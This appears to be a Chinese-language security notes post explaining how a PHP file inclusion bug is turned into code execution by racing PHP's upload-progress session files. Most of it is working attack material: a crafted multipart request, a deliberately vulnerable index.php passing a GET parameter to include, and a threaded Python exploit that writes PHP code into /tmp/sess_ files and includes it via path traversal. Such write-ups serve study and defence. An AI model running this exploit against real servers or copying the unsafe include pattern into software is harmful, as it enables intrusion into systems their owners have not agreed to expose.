包含SESSION文件
p师傅小密圈里学到了一种文件包含getshell的利用思路:文件包含漏洞在找不到可包含的文件,可以包含session文件从而getshell。
默认情况下,session.use_strict_mode值是0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=zsxqzsxq,PHP将会在服务器上创建一个文件:/tmp/sess_zsxqzsxq
在phpmyadmin 4.8.1 文件包含漏洞(CVE-2018-12613)中利用了这个思路从文件包含到getshell
该技巧利用条件:服务器上需要已经初始化Session
通用的初始化方法:session_start()
p师傅在小密圈解读phpinfo学到了其他的初始化session思路:https://t.zsxq.com/2nQbAYr
配置项:session.auto_start
如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是关闭的。
配置项:session.upload_progress
最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中(包含用户可控的值),即使此时用户没有初始化Session,PHP也会自动初始化Session。默认情况下session.upload_progress.enabled是为On的。
所以可以利用这点我们可以构造如下数据包1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30POST /test.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 436
Cache-Control: max-age=0
Origin: https://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryetzSsuG4Wg73Ob9R
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.9d Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSID=passer6y
Connection: close
------WebKitFormBoundaryetzSsuG4Wg73Ob9R
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
Content-Type: text/plain
aaaa
------WebKitFormBoundaryetzSsuG4Wg73Ob9R
Content-Disposition: form-data; name="file"; filename="flag.txt"
Content-Type: text/plain
flag
------WebKitFormBoundaryetzSsuG4Wg73Ob9R
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundaryetzSsuG4Wg73Ob9R--
从上图看到,我们创建了一个名为sess_passer6y
,但是文件内容大小是0,因为上传结束后,这个Session将会被自动清除(由session.upload_progress.cleanup定义),我们只需要条件竞争,赶在文件被清除前利用即可。
所以,只要存在一个文件包含漏洞,我们就可以利用这些默认的特性来Getshell:
复现环境:php 7.0.21
index.php1
2
3
4<?php
if (isset($_GET['file'])) {
include './' . $_GET['file'];
}
构造以下两个数据包,发送到爆破模块,null payload爆破即可
不可取.. 这种方法会造成大量session临时文件
还是用p师傅给的exp吧:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30import io
import requests
import threading
sessid = 'passer6y'
def t1(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
'https://localhost/test.php',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=phpinfo()?>'},
files={'file': ('a.txt', f)},
cookies={'PHPSESSID': sessid}
)
def t2(session):
while True:
response = session.get(f'https://127.0.0.1/index.php?file=../../../../../../../../tmp/sess_{sessid}')
print(response.text)
with requests.session() as session:
t1 = threading.Thread(target=t1, args=(session, ))
t1.daemon = True
t1.start()
t2(session)